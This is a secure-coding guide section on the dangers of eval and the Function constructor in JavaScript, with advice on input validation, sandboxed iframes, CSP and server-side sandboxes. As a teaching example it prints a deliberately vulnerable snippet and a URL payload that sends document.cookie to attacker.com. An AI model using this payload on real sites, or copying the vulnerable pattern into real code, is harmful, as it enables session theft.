Sandboxing
Especially in the Output Encoding and Database Security sections, you were told that user input should always be handled as untrusted and unsafe data. Moreover, user input data should never be subject of string concatenation to computed, for examples, database queries.
You'll find more General Coding Practices on OWASP SCP - Quick Reference Guide which we will address together:
- "Do not pass user supplied data to any dynamic execution function"
- "Restrict users from generating new code or altering existing code"
Let's be brief - eval
is evil (or at least, it is when misunderstood)!
eval
is a JavaScript function which, generally speaking, that evaluates a
given argument (String
) as source code, allowing it to execute in the runtime
context.
This would be the same as to dynamically adding a new <script>
HTML element to
the page's body.
Note - evaluating arbitrary user input in your application's runtime context SHOULD NEVER be done.
eval
is not the only way to evaluate arbitrary String
s, you may want to have
a look at Function constructor. We'll go with the simple examples
const myAlert = Function('alert("' + document.location.hash.substring(1) + '")');
myAlert();
So, let's visit and "share sorrows"
https://example.com/#sorry");(new Image).src="//attacker.com/?cookie="+document.cookie;("
Rule of thumb and furthermore, ensure that user input (as other data sources may cause you troubles): identify and classify your data sources as "trusted" and "untrusted" and ALWAYS (but **ALWAYS) perform input validation, rejecting the invalid input.
If you really need to execute untrusted data, please use a sandbox.
On the client-side, the best you can do is load the insecure content in a
<iframe>
HTML element with the attribute sandbox
set. You can find the
specification here. Whenever possible, provide a Content Security
Policy.
On the server-side, you have a few more options. Have a look at these projects:
- gf3/sanbox
- patriksimek/vm2
- PhantomJS (a headless WebKit scriptable with a JavaScript API.)
Note that Node.js VM module is not intended to execute untrusted code.